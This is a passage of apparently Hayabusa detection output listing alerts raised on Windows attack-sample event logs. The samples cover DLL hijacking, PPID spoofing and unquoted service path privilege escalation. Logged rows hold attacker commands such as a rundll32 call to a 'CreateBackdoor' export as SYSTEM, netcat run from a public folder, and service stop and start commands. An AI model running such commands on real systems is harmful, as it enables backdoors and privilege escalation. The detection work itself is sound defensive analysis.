netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.443 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.459 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.499 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.548 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:39.226 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: nc.exe 127.0.0.1 1337 : Path: C:\Users\Public\Tools\nc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:39.226 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:39.441 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:54.689 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 21:35:35.026 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc stop CDPSvc : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:35.026 +09:00,MSEDGEWIN10,1,low,Stop Windows Service,,rules/sigma/process_creation/win_service_stop.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:43.104 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc query CDPSvc : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:52.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe"" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications : Path: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\RuntimeBroker.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.876 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: net start CDPSvc : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.876 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.876 +09:00,MSEDGEWIN10,1,low,Service Execution,,rules/sigma/process_creation/win_service_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.897 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\net1 start CDPSvc : Path: C:\Windows\System32\net1.exe : User: MSEDGEWIN10\IEUser : Parent Command: net start CDPSvc,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.897 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.897 +09:00,MSEDGEWIN10,1,low,Service Execution,,rules/sigma/process_creation/win_service_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.919 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:06.990 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: nc.exe 127.0.0.1 1337 : Path: C:\Users\Public\Tools\nc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:06.990 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:24.316 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-22 06:45:04.922 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_10_1_ppid_spoofing.evtx +2020-03-22 06:45:16.576 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_10_1_ppid_spoofing.evtx +2020-03-22 06:45:16.765 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_10_1_ppid_spoofing.evtx +2020-04-26 07:19:00.308 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x4 /state0:0xa38bd055 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:02.057 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:02.057 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:02.057 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:20.134 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:22.312 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \??\C:\Windows\system32\autochk.exe * : Path: C:\Windows\System32\autochk.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:22.596 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 000000cc 00000084 : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:22.630 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000cc 00000084 ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.220 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 000000d8 00000084 : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.222 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: wininit.exe : Path: C:\Windows\System32\wininit.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000cc 00000084 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.224 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000d8 00000084 ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.876 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000d8 00000084 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.049 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\services.exe : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.054 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.188 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.194 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.198 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x2 /state0:0xa3b08855 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.211 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""dwm.exe"" : Path: C:\Windows\System32\dwm.exe : User: Window Manager\DWM-1 : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.418 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.432 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.482 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.485 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.487 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.600 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.603 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.158 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\Upfc.exe /launchtype boot /cv pVnjz5d3jkOKEwXZiJ9/ng.0 : Path: C:\Windows\System32\upfc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.303 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.536 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.540 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s SysMain : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.542 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.558 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.632 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.635 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\dxgiadaptercache.exe : Path: C:\Windows\System32\dxgiadaptercache.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s 